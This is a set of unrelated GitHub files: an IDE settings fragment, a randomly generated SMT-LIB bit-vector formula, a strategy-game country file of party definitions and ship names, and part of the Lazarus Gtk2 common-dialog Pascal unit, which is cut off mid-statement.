noCssNoScripts="false" useElementStyleAttribute="false" linkToExportedHtml="true" exportOnSettingsChange="true" regenerateOnProjectOpen="false" linkFormatType="HTTP_ABSOLUTE" /> <LinkMapSettings> <textMaps /> </LinkMapSettings> </component> <component name="MarkdownNavigatorHistory"> <PasteImageHistory checkeredTransparentBackground="false" filename="image" directory="" onPasteImageTargetRef="3" onPasteLinkText="0" onPasteImageElement="1" onPasteLinkElement="1" onPasteReferenceElement="2" cornerRadius="20" borderColor="0" transparentColor="16777215" borderWidth="1" trimTop="0" trimBottom="0" trimLeft="0" trimRight="0" transparent="false" roundCorners="false" showPreview="true" bordered="false" scaled="false" cropped="false" hideInapplicableOperations="false" preserveLinkFormat="false" scale="50" scalingInterpolation="1" transparentTolerance="0" saveAsDefaultOnOK="false" linkFormat="0" addHighlights="false" showHighlightCoordinates="true" showHighlights="false" mouseSelectionAddsHighlight="false" outerFilled="false" outerFillColor="0" outerFillTransparent="true" outerFillAlpha="30"> <highlightList /> <directories /> <filenames /> </PasteImageHistory> <CopyImageHistory checkeredTransparentBackground="false" filename="image" directory="" onPasteImageTargetRef="3" onPasteLinkText="0" onPasteImageElement="1" onPasteLinkElement="1" onPasteReferenceElement="2" cornerRadius="20" borderColor="0" transparentColor="16777215" borderWidth="1" trimTop="0" trimBottom="0" trimLeft="0" trimRight="0" transparent="false" roundCorners="false" showPreview="true" bordered="false" scaled="false" cropped="false" hideInapplicableOperations="false" preserveLinkFormat="false" scale="50" scalingInterpolation="1" transparentTolerance="0" saveAsDefaultOnOK="false" linkFormat="0" addHighlights="false" showHighlightCoordinates="true" showHighlights="false" mouseSelectionAddsHighlight="false" outerFilled="false" outerFillColor="0" outerFillTransparent="true" outerFillAlpha="30"> <highlightList /> <directories /> <filenames /> </CopyImageHistory> <PasteLinkHistory onPasteImageTargetRef="3" onPasteTargetRef="1" onPasteLinkText="0" onPasteImageElement="1" onPasteLinkElement="1" onPasteWikiElement="2" onPasteReferenceElement="2" hideInapplicableOperations="false" preserveLinkFormat="false" useHeadingForLinkText="false" linkFormat="0" saveAsDefaultOnOK="false" /> <TableToJsonHistory> <entries /> </TableToJsonHistory> <TableSortHistory> <entries /> </TableSortHistory> </component> </project>
{ "pile_set_name": "Github" }
(set-info :source |fuzzsmt|) (set-info :smt-lib-version 2.0) (set-info :category "random") (set-info :status unknown) (set-logic QF_BV) (declare-fun v0 () (_ BitVec 12)) (declare-fun v1 () (_ BitVec 5)) (declare-fun v2 () (_ BitVec 7)) (declare-fun v3 () (_ BitVec 1)) (declare-fun v4 () (_ BitVec 13)) (assert (let ((e5(_ bv0 1))) (let ((e6 ((_ rotate_right 0) v3))) (let ((e7 ((_ extract 0 0) e5))) (let ((e8 ((_ sign_extend 11) e6))) (let ((e9 (ite (bvugt e7 e6) (_ bv1 1) (_ bv0 1)))) (let ((e10 (bvcomp v0 ((_ zero_extend 11) v3)))) (let ((e11 (ite (bvsgt e9 e5) (_ bv1 1) (_ bv0 1)))) (let ((e12 (bvxnor v0 v0))) (let ((e13 (bvmul v0 ((_ zero_extend 11) e6)))) (let ((e14 ((_ sign_extend 7) e10))) (let ((e15 (concat v3 e12))) (let ((e16 (bvcomp ((_ zero_extend 2) v1) v2))) (let ((e17 ((_ extract 0 0) v3))) (let ((e18 (bvadd v1 ((_ sign_extend 4) e17)))) (let ((e19 (bvnot e18))) (let ((e20 (bvnor e7 v3))) (let ((e21 ((_ rotate_right 6) e8))) (let ((e22 ((_ repeat 1) v2))) (let ((e23 (bvsrem ((_ zero_extend 5) v2) e12))) (let ((e24 ((_ sign_extend 7) e19))) (let ((e25 (ite (bvult e20 e11) (_ bv1 1) (_ bv0 1)))) (let ((e26 (concat e8 e11))) (let ((e27 (ite (bvult ((_ zero_extend 2) v1) v2) (_ bv1 1) (_ bv0 1)))) (let ((e28 (bvsub ((_ sign_extend 6) v2) e15))) (let ((e29 (bvxor e18 ((_ sign_extend 4) e27)))) (let ((e30 (bvmul e29 ((_ sign_extend 4) e11)))) (let ((e31 (bvshl e21 ((_ sign_extend 7) v1)))) (let ((e32 ((_ zero_extend 14) e5))) (let ((e33 (ite (bvsle e15 ((_ sign_extend 8) e29)) (_ bv1 1) (_ bv0 1)))) (let ((e34 (bvlshr e23 ((_ sign_extend 7) e19)))) (let ((e35 (ite (distinct e33 e11) (_ bv1 1) (_ bv0 1)))) (let ((e36 (bvnot e7))) (let ((e37 (bvnot e32))) (let ((e38 ((_ sign_extend 0) e7))) (let ((e39 (bvsrem ((_ sign_extend 14) e25) e37))) (let ((e40 (ite (bvslt v4 ((_ sign_extend 1) e24)) (_ bv1 1) (_ bv0 1)))) (let ((e41 (= e11 e17))) (let ((e42 (bvule e39 ((_ sign_extend 3) v0)))) (let ((e43 (bvsle ((_ zero_extend 11) e25) e23))) (let ((e44 (bvugt ((_ sign_extend 14) e11) e32))) (let ((e45 (bvsgt ((_ sign_extend 10) e30) e37))) (let ((e46 (bvsge e32 ((_ zero_extend 14) e38)))) (let ((e47 (bvule ((_ zero_extend 11) e33) e31))) (let ((e48 (bvult e12 ((_ sign_extend 11) e5)))) (let ((e49 (bvsle ((_ sign_extend 12) e9) e26))) (let ((e50 (bvult ((_ sign_extend 12) e25) e26))) (let ((e51 (bvsgt ((_ sign_extend 11) e11) e12))) (let ((e52 (bvugt ((_ sign_extend 11) e33) e34))) (let ((e53 (bvslt ((_ zero_extend 11) e36) e23))) (let ((e54 (= e35 e17))) (let ((e55 (bvsle e21 ((_ sign_extend 7) e18)))) (let ((e56 (bvsle e8 e21))) (let ((e57 (bvule v4 ((_ zero_extend 1) e21)))) (let ((e58 (bvslt ((_ sign_extend 12) e6) e26))) (let ((e59 (bvsgt v4 ((_ zero_extend 1) e24)))) (let ((e60 (bvsgt ((_ sign_extend 2) e26) e37))) (let ((e61 (bvugt e12 ((_ zero_extend 11) e7)))) (let ((e62 (bvuge ((_ zero_extend 4) e7) e30))) (let ((e63 (bvugt ((_ sign_extend 10) e29) e32))) (let ((e64 (distinct e34 ((_ sign_extend 5) e22)))) (let ((e65 (bvugt e18 ((_ sign_extend 4) v3)))) (let ((e66 (bvugt e15 ((_ zero_extend 12) e40)))) (let ((e67 (bvsle ((_ zero_extend 4) e40) e29))) (let ((e68 (bvult ((_ zero_extend 6) e25) e22))) (let ((e69 (bvsge e12 e23))) (let ((e70 (bvuge v3 e20))) (let ((e71 (bvsle e40 e40))) (let ((e72 (bvuge ((_ sign_extend 11) e9) e13))) (let ((e73 (= e36 e10))) (let ((e74 (bvule e34 ((_ sign_extend 11) v3)))) (let ((e75 (= e37 ((_ sign_extend 2) v4)))) (let ((e76 (bvule e39 ((_ zero_extend 14) e20)))) (let ((e77 (bvsge e13 ((_ zero_extend 11) e9)))) (let ((e78 (distinct ((_ zero_extend 4) e14) v0))) (let ((e79 (bvsgt e10 e36))) (let ((e80 (bvslt ((_ zero_extend 11) e9) e21))) (let ((e81 (= ((_ zero_extend 3) v1) e14))) (let ((e82 (bvule ((_ zero_extend 12) e17) e26))) (let ((e83 (bvsgt e19 e30))) (let ((e84 (bvsge e32 ((_ sign_extend 14) e20)))) (let ((e85 (bvslt e39 ((_ zero_extend 10) e29)))) (let ((e86 (distinct e30 ((_ sign_extend 4) e17)))) (let ((e87 (bvsge ((_ sign_extend 4) e9) e30))) (let ((e88 (bvugt v0 ((_ sign_extend 11) e25)))) (let ((e89 (= ((_ zero_extend 11) e33) e21))) (let ((e90 (distinct ((_ sign_extend 7) e29) e13))) (let ((e91 (bvslt ((_ zero_extend 11) e25) e21))) (let ((e92 (= e16 e35))) (let ((e93 (bvsgt e23 e21))) (let ((e94 (bvsle e11 e5))) (let ((e95 (bvugt ((_ zero_extend 11) e35) v0))) (let ((e96 (bvslt e22 ((_ zero_extend 6) v3)))) (let ((e97 (distinct ((_ zero_extend 11) e6) e31))) (let ((e98 (bvugt e16 e7))) (let ((e99 (bvsge v4 ((_ zero_extend 5) e14)))) (let ((e100 (bvsgt e8 ((_ sign_extend 7) e19)))) (let ((e101 (bvsle e31 e8))) (let ((e102 (bvult e27 e16))) (let ((e103 (bvslt ((_ zero_extend 8) e29) v4))) (let ((e104 (bvslt e39 ((_ sign_extend 10) e19)))) (let ((e105 (bvslt e39 ((_ sign_extend 10) e29)))) (let ((e106 (bvsgt e32 ((_ zero_extend 10) e18)))) (let ((e107 (bvsle e21 ((_ sign_extend 11) e40)))) (let ((e108 (bvult ((_ zero_extend 4) e36) e19))) (let ((e109 (bvsle v1 ((_ zero_extend 4) e25)))) (let ((e110 (bvugt ((_ sign_extend 5) e14) e15))) (let ((e111 (bvsgt e32 ((_ zero_extend 14) e9)))) (let ((e112 (distinct e22 e22))) (let ((e113 (bvugt e6 e38))) (let ((e114 (bvule v1 ((_ zero_extend 4) e17)))) (let ((e115 (bvule v2 ((_ sign_extend 6) e16)))) (let ((e116 (bvuge e15 ((_ sign_extend 12) e40)))) (let ((e117 (= e10 e35))) (let ((e118 (bvugt ((_ sign_extend 8) e22) e39))) (let ((e119 (bvule ((_ sign_extend 4) e36) e19))) (let ((e120 (bvsge ((_ sign_extend 14) e9) e37))) (let ((e121 (= e14 ((_ sign_extend 7) e16)))) (let ((e122 (bvult ((_ sign_extend 14) e9) e32))) (let ((e123 (bvuge e28 ((_ zero_extend 1) e23)))) (let ((e124 (ite e56 e92 e77))) (let ((e125 (and e117 e47))) (let ((e126 (=> e120 e82))) (let ((e127 (or e122 e107))) (let ((e128 (ite e108 e123 e102))) (let ((e129 (or e91 e124))) (let ((e130 (not e110))) (let ((e131 (or e121 e78))) (let ((e132 (ite e69 e104 e118))) (let ((e133 (xor e72 e128))) (let ((e134 (not e75))) (let ((e135 (=> e64 e58))) (let ((e136 (and e103 e134))) (let ((e137 (=> e48 e60))) (let ((e138 (and e98 e44))) (let ((e139 (or e54 e70))) (let ((e140 (=> e94 e74))) (let ((e141 (=> e105 e63))) (let ((e142 (and e133 e106))) (let ((e143 (or e52 e115))) (let ((e144 (=> e93 e130))) (let ((e145 (xor e100 e86))) (let ((e146 (= e96 e140))) (let ((e147 (=> e142 e138))) (let ((e148 (ite e135 e57 e55))) (let ((e149 (or e109 e129))) (let ((e150 (and e127 e101))) (let ((e151 (not e84))) (let ((e152 (= e148 e141))) (let ((e153 (and e146 e116))) (let ((e154 (xor e90 e49))) (let ((e155 (and e153 e88))) (let ((e156 (ite e99 e149 e42))) (let ((e157 (or e65 e65))) (let ((e158 (and e59 e80))) (let ((e159 (ite e61 e53 e61))) (let ((e160 (xor e156 e79))) (let ((e161 (xor e126 e131))) (let ((e162 (not e136))) (let ((e163 (ite e144 e114 e160))) (let ((e164 (xor e41 e154))) (let ((e165 (or e62 e137))) (let ((e166 (and e162 e46))) (let ((e167 (and e67 e81))) (let ((e168 (or e139 e147))) (let ((e169 (=> e113 e163))) (let ((e170 (= e145 e157))) (let ((e171 (and e85 e168))) (let ((e172 (and e119 e111))) (let ((e173 (ite e125 e165 e83))) (let ((e174 (and e87 e87))) (let ((e175 (and e132 e150))) (let ((e176 (= e170 e158))) (let ((e177 (= e166 e45))) (let ((e178 (=> e43 e66))) (let ((e179 (ite e155 e171 e173))) (let ((e180 (xor e50 e179))) (let ((e181 (xor e174 e143))) (let ((e182 (ite e112 e169 e89))) (let ((e183 (and e68 e76))) (let ((e184 (=> e180 e177))) (let ((e185 (not e97))) (let ((e186 (ite e176 e172 e161))) (let ((e187 (not e159))) (let ((e188 (or e183 e164))) (let ((e189 (or e175 e167))) (let ((e190 (=> e95 e189))) (let ((e191 (or e184 e188))) (let ((e192 (or e71 e151))) (let ((e193 (xor e185 e51))) (let ((e194 (and e73 e191))) (let ((e195 (or e182 e193))) (let ((e196 (xor e178 e192))) (let ((e197 (and e152 e194))) (let ((e198 (not e181))) (let ((e199 (=> e197 e196))) (let ((e200 (not e198))) (let ((e201 (= e190 e195))) (let ((e202 (not e201))) (let ((e203 (=> e199 e187))) (let ((e204 (= e186 e200))) (let ((e205 (= e203 e204))) (let ((e206 (and e202 e205))) (let ((e207 (and e206 (not (= e12 (_ bv0 12)))))) (let ((e208 (and e207 (not (= e12 (bvnot (_ bv0 12))))))) (let ((e209 (and e208 (not (= e37 (_ bv0 15)))))) (let ((e210 (and e209 (not (= e37 (bvnot (_ bv0 15))))))) e210 ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) (check-sat)
{ "pile_set_name": "Github" }
color = { 48 149 21 } graphical_culture = Generic party = { name = "CHE_liberal" start_date = 1836.1.1 end_date = 2000.1.1 ideology = liberal economic_policy = laissez_faire trade_policy = free_trade religious_policy = moralism citizenship_policy = full_citizenship war_policy = anti_military } party = { name = "CHE_conservative" start_date = 1836.1.1 end_date = 2000.1.1 ideology = conservative economic_policy = laissez_faire trade_policy = protectionism religious_policy = pluralism citizenship_policy = residency war_policy = anti_military } party = { name = "CHE_conservative_2" start_date = 1848.1.1 end_date = 2000.1.1 ideology = conservative economic_policy = laissez_faire trade_policy = free_trade religious_policy = secularized citizenship_policy = residency war_policy = jingoism } party = { name = "CHE_socialist" start_date = 1848.1.1 end_date = 2000.1.1 ideology = socialist economic_policy = state_capitalism trade_policy = protectionism religious_policy = pro_atheism citizenship_policy = full_citizenship war_policy = pro_military } party = { name = "CHE_reactionary" start_date = 1820.1.1 end_date = 2000.1.1 ideology = reactionary economic_policy = state_capitalism trade_policy = protectionism religious_policy = moralism citizenship_policy = residency war_policy = jingoism } party = { name = "CHE_anarcho_liberal" start_date = 1830.1.1 end_date = 2000.1.1 ideology = anarcho_liberal economic_policy = laissez_faire trade_policy = free_trade religious_policy = pro_atheism citizenship_policy = full_citizenship war_policy = pro_military } party = { name = "CHE_communist" start_date = 1848.1.1 end_date = 2000.1.1 ideology = communist economic_policy = planned_economy trade_policy = protectionism religious_policy = pro_atheism citizenship_policy = full_citizenship war_policy = pro_military } party = { name = "CHE_fascist" start_date = 1905.1.1 end_date = 2000.1.1 ideology = fascist economic_policy = state_capitalism trade_policy = protectionism religious_policy = moralism citizenship_policy = residency war_policy = jingoism } unit_names = { dreadnought = { "Ani-kutani" "Ah-ni-ga-to-ge-wi" "Ah-ni-gi-lo-hi" "Ah-ni-ka-wi" "Ah-ni-tsi-sk-wa" "Ah-ni-sa-ho-ni" "Ah-ni-wo-di" "Ah-ni-wa-ya" Kana'ti Selu "Tsul Kalu" "Oonawieh Unggi" "Ani Yuntikwalaski" "Asgaya Gigagei" "I'nage-utasvhi" "Anisga'ya Tsunsdi" "Nv-da u-no-le" "Nv-da ko-la" "Nv-da ka-na-wo-ga" "Nv-da gu-ti-ha" } ironclad = { "Ani-kutani" "Ah-ni-ga-to-ge-wi" "Ah-ni-gi-lo-hi" "Ah-ni-ka-wi" "Ah-ni-tsi-sk-wa" "Ah-ni-sa-ho-ni" "Ah-ni-wo-di" "Ah-ni-wa-ya" Kana'ti Selu "Tsul Kalu" "Oonawieh Unggi" "Ani Yuntikwalaski" "Asgaya Gigagei" "I'nage-utasvhi" "Anisga'ya Tsunsdi" "Nv-da u-no-le" "Nv-da ko-la" "Nv-da ka-na-wo-ga" "Nv-da gu-ti-ha" } manowar = { "Ani-kutani" "Ah-ni-ga-to-ge-wi" "Ah-ni-gi-lo-hi" "Ah-ni-ka-wi" "Ah-ni-tsi-sk-wa" "Ah-ni-sa-ho-ni" "Ah-ni-wo-di" "Ah-ni-wa-ya" Kana'ti Selu "Tsul Kalu" "Oonawieh Unggi" "Ani Yuntikwalaski" "Asgaya Gigagei" "I'nage-utasvhi" "Anisga'ya Tsunsdi" "Nv-da u-no-le" "Nv-da ko-la" "Nv-da ka-na-wo-ga" "Nv-da gu-ti-ha" } cruiser = { "Ani-kutani" "Ah-ni-ga-to-ge-wi" "Ah-ni-gi-lo-hi" "Ah-ni-ka-wi" "Ah-ni-tsi-sk-wa" "Ah-ni-sa-ho-ni" "Ah-ni-wo-di" "Ah-ni-wa-ya" Kana'ti Selu "Tsul Kalu" "Oonawieh Unggi" "Ani Yuntikwalaski" "Asgaya Gigagei" "I'nage-utasvhi" "Anisga'ya Tsunsdi" "Nv-da u-no-le" "Nv-da ko-la" "Nv-da ka-na-wo-ga" "Nv-da gu-ti-ha" } frigate = { "Ani-kutani" "Ah-ni-ga-to-ge-wi" "Ah-ni-gi-lo-hi" "Ah-ni-ka-wi" "Ah-ni-tsi-sk-wa" "Ah-ni-sa-ho-ni" "Ah-ni-wo-di" "Ah-ni-wa-ya" Kana'ti Selu "Tsul Kalu" "Oonawieh Unggi" "Ani Yuntikwalaski" "Asgaya Gigagei" "I'nage-utasvhi" "Anisga'ya Tsunsdi" "Nv-da u-no-le" "Nv-da ko-la" "Nv-da ka-na-wo-ga" "Nv-da gu-ti-ha" } monitor = { "Ani-kutani" "Ah-ni-ga-to-ge-wi" "Ah-ni-gi-lo-hi" "Ah-ni-ka-wi" "Ah-ni-tsi-sk-wa" "Ah-ni-sa-ho-ni" "Ah-ni-wo-di" "Ah-ni-wa-ya" Kana'ti Selu "Tsul Kalu" "Oonawieh Unggi" "Ani Yuntikwalaski" "Asgaya Gigagei" "I'nage-utasvhi" "Anisga'ya Tsunsdi" "Nv-da u-no-le" "Nv-da ko-la" "Nv-da ka-na-wo-ga" "Nv-da gu-ti-ha" } clipper_transport = { } steam_transport = { } commerce_raider = { "Ani-kutani" "Ah-ni-ga-to-ge-wi" "Ah-ni-gi-lo-hi" "Ah-ni-ka-wi" "Ah-ni-tsi-sk-wa" "Ah-ni-sa-ho-ni" "Ah-ni-wo-di" "Ah-ni-wa-ya" Kana'ti Selu "Tsul Kalu" "Oonawieh Unggi" "Ani Yuntikwalaski" "Asgaya Gigagei" "I'nage-utasvhi" "Anisga'ya Tsunsdi" "Nv-da u-no-le" "Nv-da ko-la" "Nv-da ka-na-wo-ga" "Nv-da gu-ti-ha" } }
{ "pile_set_name": "Github" }
{ $Id$} { ***************************************************************************** * Gtk2WSDialogs.pp * * ---------------- * * * * * ***************************************************************************** ***************************************************************************** This file is part of the Lazarus Component Library (LCL) See the file COPYING.modifiedLGPL.txt, included in this distribution, for details about the license. ***************************************************************************** } unit Gtk2WSDialogs; {$mode objfpc}{$H+} interface uses // RTL Gtk2, Glib2, gdk2, pango, SysUtils, Classes, // LCL Gtk2Extra, Graphics, Controls, Dialogs, ExtDlgs, LCLType, LazFileUtils, LazUTF8, LCLStrConsts, LCLProc, InterfaceBase, // Widgetset Gtk2Int, Gtk2Globals, Gtk2Def, Gtk2Proc, WSDialogs; type { TGtk2WSCommonDialog } TGtk2WSCommonDialog = class(TWSCommonDialog) private class procedure SetColorDialogColor(ColorSelection: PGtkColorSelectionDialog; Color: TColor); class procedure SetColorDialogPalette(ColorSelection: PGtkColorSelectionDialog; Palette: TStrings); protected class procedure SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); virtual; class procedure SetSizes(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); virtual; published class function CreateHandle(const {%H-}ACommonDialog: TCommonDialog): THandle; override; class procedure ShowModal(const ACommonDialog: TCommonDialog); override; class procedure DestroyHandle(const ACommonDialog: TCommonDialog); override; end; { TGtk2WSFileDialog } TGtk2WSFileDialog = class(TWSFileDialog) protected class procedure SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); virtual; published class function CreateHandle(const ACommonDialog: TCommonDialog): THandle; override; end; { TGtk2WSOpenDialog } TGtk2WSOpenDialog = class(TWSOpenDialog) protected class function CreateOpenDialogFilter(OpenDialog: TOpenDialog; SelWidget: PGtkWidget): string; virtual; class procedure CreateOpenDialogHistory(OpenDialog: TOpenDialog; SelWidget: PGtkWidget); virtual; class procedure CreatePreviewDialogControl(PreviewDialog: TPreviewFileDialog; SelWidget: PGtkWidget); virtual; published class function CreateHandle(const ACommonDialog: TCommonDialog): THandle; override; class function QueryWSEventCapabilities(const {%H-}ACommonDialog: TCommonDialog): TCDWSEventCapabilities; override; end; { TGtk2WSSaveDialog } TGtk2WSSaveDialog = class(TWSSaveDialog) published class function QueryWSEventCapabilities(const {%H-}ACommonDialog: TCommonDialog): TCDWSEventCapabilities; override; end; { TGtk2WSSelectDirectoryDialog } TGtk2WSSelectDirectoryDialog = class(TWSSelectDirectoryDialog) published class function QueryWSEventCapabilities(const {%H-}ACommonDialog: TCommonDialog): TCDWSEventCapabilities; override; end; { TGtk2WSColorDialog } TGtk2WSColorDialog = class(TWSColorDialog) protected class procedure SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); virtual; published class function CreateHandle(const ACommonDialog: TCommonDialog): THandle; override; class function QueryWSEventCapabilities(const {%H-}ACommonDialog: TCommonDialog): TCDWSEventCapabilities; override; end; { TGtk2WSColorButton } TGtk2WSColorButton = class(TWSColorButton) published end; { TGtk2WSFontDialog } TGtk2WSFontDialog = class(TWSFontDialog) protected class procedure SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); virtual; published class function CreateHandle(const ACommonDialog: TCommonDialog): THandle; override; class function QueryWSEventCapabilities(const {%H-}ACommonDialog: TCommonDialog): TCDWSEventCapabilities; override; end; // forward declarations procedure UpdateDetailView(OpenDialog: TOpenDialog); implementation {$I gtk2defines.inc} {------------------------------------------------------------------------------- procedure UpdateDetailView Params: OpenDialog: TOpenDialog Result: none Shows some OS dependent information about the current file -------------------------------------------------------------------------------} procedure UpdateDetailView(OpenDialog: TOpenDialog); var FileDetailLabel: PGtkWidget; Filename, OldFilename, Details: String; Widget: PGtkWidget; begin //DebugLn(['UpdateDetailView ']); Widget := {%H-}PGtkWidget(OpenDialog.Handle); FileName := gtk_file_chooser_get_filename(PGtkFileChooser(Widget)); Filename:=SysToUTF8(Filename); OldFilename := OpenDialog.Filename; if Filename = OldFilename then Exit; OpenDialog.Filename := Filename; // tell application, that selection has changed OpenDialog.DoSelectionChange; if (OpenDialog.OnFolderChange <> nil) and (ExtractFilePath(Filename) <> ExtractFilePath(OldFilename)) then OpenDialog.DoFolderChange; // show some information FileDetailLabel := g_object_get_data({%H-}PGObject(OpenDialog.Handle), 'FileDetailLabel'); if FileDetailLabel = nil then Exit; if FileExistsUTF8(Filename) then Details := GetFileDescription(Filename) else Details := Format(rsFileInfoFileNotFound, [Filename]); gtk_label_set_text(PGtkLabel(FileDetailLabel), PChar(Details)); end; // ---------------------- signals ---------------------------------------------- procedure gtkFileChooserSelectionChangedCB({%H-}Chooser: PGtkFileChooser; Data: Pointer); cdecl; var theDialog: TFileDialog; begin theDialog:=TFileDialog(Data); if theDialog is TOpenDialog then UpdateDetailView(TOpenDialog(theDialog)); end; procedure Gtk2FileChooserResponseCB(widget: PGtkFileChooser; arg1: gint; data: gpointer); cdecl; procedure AddFile(List: TStrings; const NewFile: string); var i: Integer; begin for i := 0 to List.Count-1 do if List[i] = NewFile then Exit; List.Add(NewFile); end; function SkipDirectory(const AName: String): Boolean; // gtk2-2.20 have problems. // issue http://bugs.freepascal.org/view.php?id=17278 begin Result := False; if (gtk_major_version = 2) and (gtk_minor_version >= 20) and (gtk_file_chooser_get_action(Widget) = GTK_FILE_CHOOSER_ACTION_OPEN) and DirPathExists(AName) then Result := True; end; var TheDialog: TFileDialog; cFilename: PChar; cFilenames: PGSList; cFilenames1: PGSList; Files: TStringList; aFilename: String; begin //DebugLn(['Gtk2FileChooserResponseCB ']); theDialog := TFileDialog(data); if arg1 = GTK_RESPONSE_CANCEL then begin TheDialog.UserChoice := mrCancel; Exit; end; if theDialog is TOpenDialog then begin if ofAllowMultiSelect in TOpenDialog(theDialog).Options then begin TheDialog.FileName := ''; Files := TStringList(TheDialog.Files); Files.Clear; cFilenames := gtk_file_chooser_get_filenames(widget); if Assigned(cFilenames) then begin cFilenames1 := cFilenames; while Assigned(cFilenames1) do begin cFilename := PChar(cFilenames1^.data); if Assigned(cFilename) then begin aFilename:=SysToUTF8(cFilename); if not SkipDirectory(aFileName) then AddFile(Files, aFilename); g_free(cFilename); end; cFilenames1 := cFilenames1^.next; end; g_slist_free(cFilenames); end; end else TheDialog.Files.Clear; end; cFilename := gtk_file_chooser_get_filename(widget); if Assigned(cFilename) then begin aFilename:=SysToUTF8(cFilename); if SkipDirectory(aFileName) then TheDialog.FileName := '' else TheDialog.FileName := cFilename; g_free(cFilename); if (TheDialog is TOpenDialog) and (not (ofAllowMultiSelect in TOpenDialog(theDialog).Options)) then TheDialog.Files.Add(TheDialog.FileName); end; //?? StoreCommonDialogSetup(theDialog); theDialog.UserChoice := mrOK; end; procedure Gtk2FileChooserNotifyCB(dialog: PGObject; pspec: PGParamSpec; user_data: gpointer); cdecl; var TheDialog: TFileDialog; GtkFilter: PGtkFileFilter; GtkFilterList: PGSList; NewFilterIndex: Integer; begin //DebugLn(['Gtk2FileChooserNotifyCB ']); if pspec^.name = 'filter' then begin // filter changed theDialog := TFileDialog(user_data); GtkFilter := gtk_file_chooser_get_filter(dialog); GtkFilterList := gtk_file_chooser_list_filters(dialog); if (GtkFilter = nil) and (theDialog.Filter <> '') then begin // Either we don't have filter or gtk reset it. // Gtk resets filter if we set both filename and filter but filename // does not fit into filter. Gtk comparision has bug - it compares only by // mime-type, not by pattern. LCL set all filters by pattern. GtkFilter := g_slist_nth_data(GtkFilterList, theDialog.FilterIndex - 1); gtk_file_chooser_set_filter(dialog, GtkFilter); end else begin NewFilterIndex := g_slist_index(GtkFilterList, GtkFilter); theDialog.IntfFileTypeChanged(NewFilterIndex + 1); end; g_slist_free(GtkFilterList); end; end; // ------------------------ Signals -------------------------------------------- {------------------------------------------------------------------------------- function GTKDialogSelectRowCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, whenever a row is selected in a commondialog -------------------------------------------------------------------------------} function gtkDialogSelectRowCB(widget: PGtkWidget; Row, Column: gInt; bevent: pgdkEventButton; data: gPointer): GBoolean; cdecl; var theDialog: TCommonDialog; MenuWidget: PGtkWidget; AFilterEntry: TFileSelFilterEntry; FileSelWidget: PGtkFileSelection; ShiftState: TShiftState; loop : gint; startRow : gint; endRow : gint; begin //debugln('GTKDialogSelectRowCB A '); Result:=CallBackDefaultReturn; if (Data=nil) or (BEvent=nil) or (Column=0) or (Row=0) then ; theDialog:=TCommonDialog(GetLCLObject(Widget)); if (theDialog is TOpenDialog) then begin // only process the callback if there is event data. If there isn't any // event data that means it was called due to a direct function call of the // widget and not an actual mouse click on the widget. FileSelWidget:={%H-}PGtkFileSelection(theDialog.Handle); if (bevent <> nil) and (gdk_event_get_type(bevent) = GDK_2BUTTON_PRESS) and (FileSelWidget^.dir_list = widget) then begin MenuWidget := g_object_get_data(PGObject(FileSelWidget), 'LCLFilterMenu'); if MenuWidget <> nil then begin AFilterEntry := TFileSelFilterEntry(g_object_get_data(PGObject( gtk_menu_get_active(PGtkMenu(MenuWidget))), 'LCLIsFilterMenuItem')); if (AFilterEntry<>nil) and (AFilterEntry.Mask<>nil) then PopulateFileAndDirectoryLists(FileSelWidget,AFilterEntry.Mask); end; end else if (bevent <> nil) and (ofAllowMultiSelect in TOpenDialog(theDialog).Options) and (FileSelWidget^.file_list=widget) then begin // multi selection ShiftState := GTKEventStateToShiftState(BEvent^.State); if ssShift in ShiftState then begin if LastFileSelectRow <> -1 then begin startRow := LastFileSelectRow; endRow := row; if LastFileSelectRow > row then begin startRow := row; endRow := LastFileSelectRow; end; for loop := startRow to endRow do begin gtk_clist_select_row(PGtkCList(widget), loop, column); end; end; end else if not (ssCtrl in ShiftState) then begin gtk_clist_unselect_all(PGtkCList(widget)); gtk_clist_select_row(PGtkCList(widget), row, column); end; LastFileSelectRow := row; end; UpdateDetailView(TOpenDialog(theDialog)); end; end; {------------------------------------------------------------------------------- function gtkDialogHelpclickedCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, whenever the user clicks the help button in a commondialog -------------------------------------------------------------------------------} function gtkDialogHelpclickedCB(widget: PGtkWidget; data: gPointer): GBoolean; cdecl; var theDialog : TCommonDialog; begin Result := CallBackDefaultReturn; if (Widget=nil) then ; theDialog := TCommonDialog(data); if theDialog is TOpenDialog then begin if TOpenDialog(theDialog).OnHelpClicked<>nil then TOpenDialog(theDialog).OnHelpClicked(theDialog); end; end; {------------------------------------------------------------------------------- function gtkDialogApplyclickedCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, whenever the user clicks the Apply button in a commondialog -------------------------------------------------------------------------------} function gtkDialogApplyclickedCB(widget: PGtkWidget; data: gPointer): GBoolean; cdecl; var theDialog : TCommonDialog; FontName: string; ALogFont: TLogFont; FontDesc: PPangoFontDescription; begin Result := CallBackDefaultReturn; if (Widget=nil) then ; theDialog := TCommonDialog(data); if (theDialog is TFontDialog) and (fdApplyButton in TFontDialog(theDialog).Options) and (Assigned(TFontDialog(theDialog).OnApplyClicked)) then begin FontName := gtk_font_selection_dialog_get_font_name( {%H-}pgtkfontselectiondialog(theDialog.Handle)); if IsFontNameXLogicalFontDesc(FontName) then begin // extract basic font attributes from the font name in XLFD format ALogFont:=XLFDNameToLogFont(FontName); TFontDialog(theDialog).Font.Assign(ALogFont); // set the font name in XLFD format // a font name in XLFD format overrides in the gtk interface all other font // settings. TFontDialog(theDialog).Font.Name := FontName; end else begin FontDesc := pango_font_description_from_string(PChar(FontName)); with TFontDialog(theDialog).Font do begin BeginUpdate; Size := pango_font_description_get_size(FontDesc) div PANGO_SCALE; if pango_font_description_get_weight(FontDesc) >= PANGO_WEIGHT_BOLD then Style := Style + [fsBold] else Style := Style - [fsBold]; if pango_font_description_get_style(FontDesc) > PANGO_STYLE_NORMAL then Style := Style + 